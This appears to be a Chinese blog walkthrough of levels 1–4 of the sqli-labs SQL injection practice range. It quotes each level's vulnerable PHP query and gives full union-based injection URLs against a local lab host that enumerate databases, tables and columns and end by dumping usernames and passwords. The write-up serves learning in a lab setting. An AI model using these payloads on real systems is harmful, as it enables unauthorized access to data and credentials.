Sqlabs 注入靶场 1-4关 攻略

 

Sqlabs是一个包含了SQL注入的知识点里,能够碰见百分之八十的情况都在里面。

 

是个练习SQL注入的好靶场。

第一关

现在,先分析一下第一关的代码。

看了一下SQL的执行语句,并没有什么过滤。

 

那么,就可以直接开始注入。

 

用单引号先判断。

 

'

 

这里已经直接报错了。

 

order by 3

 

猜列 。

 

返回正常, 那么Order by 4呢?

 

回显错误 提示不存在,所以列名只有三个。

 

这里语句都执行成功了,可是为什么没有爆出数字呢?

 

其实,在这里只需用到报错的办法来让网页报出数字即可。

 

我个人习惯加了个-,sqlabs的靶场是没有固定答案的,全凭发挥。

 

 

查下数据库。

 

http://192.168.2.14:86/Less-1/?id=-1' union select 1,database(),3 -- -

 

然后查询该'security’数据库下的表名。

http://192.168.2.14:86/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- -

出来了几个表名,这里就是'security'数据库下的Tables了。

 

然后查询表名下的列。

http://192.168.2.14:86/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' -- -

但这里却显示了许多数据表,是因为我没有加上查询数据库的条件,所以导致这里的语句把所有数据库下的'users'表回显出来了。

 

于是,需要加上这个语句:

http://192.168.2.14:86/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and Table_schema='security' -- -

返回正常。

 

开始查询列名下的数据。

 

 

至此,第一关结束。

TIP:sqlabs过关思路有很多,不要被一条路限制死。

第二关

 

和第一关的操作方法一致,暂时不提。

 

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

没有做什么过滤,直接开干就好。

 

第三关

 

第三关的注入代码:

 

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

 

这里需要干扰一下,因为)和'都闭合了,所以……

http://192.168.2.14:86/Less-3/?id=1')

 

构造语句之后,返回报错。

存在注入。

查列。

 

order by 4返回是不正常的,只有三个列名。

这里依然没有爆出数字,在前面加个‘-’号试试。

http://192.168.2.14:86/Less-3/?id=-1') union select 1,2,3 -- -

成功爆出数字。

然后照着上面的方法直接查询……

 

第四关

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

 

这里多了一个双引号和单括号,构造语句:

http://192.168.2.14:86/Less-4/?id=-1") union select 1,2,3 -- -

 

爆出数字,查询数据库。

http://192.168.2.14:86/Less-4/?id=-1") union select 1,database(),3 -- -

 

http://192.168.2.14:86/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- - //查询数据库'security‘下的表名。

继续查询'users'表。

http://192.168.2.14:86/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' -- -  //上面说了,加上末尾的and语句是为了查询security数据库下的'users'表,而不是所有数据库下的'users'表。

 

查'users'表下的数据。

http://192.168.2.14:86/Less-4/?id=-1") union select 1,username,password from users -- -

至此,第四关通过。

 

 

 

版权声明:
作者:Ari3n
链接:https://www.iylbk.cn/?p=23
来源:Air3n Blog's
文章版权归作者所有,未经允许请勿转载。

THE END
分享
二维码
< <上一篇
下一篇>>
文章目录
关闭
目 录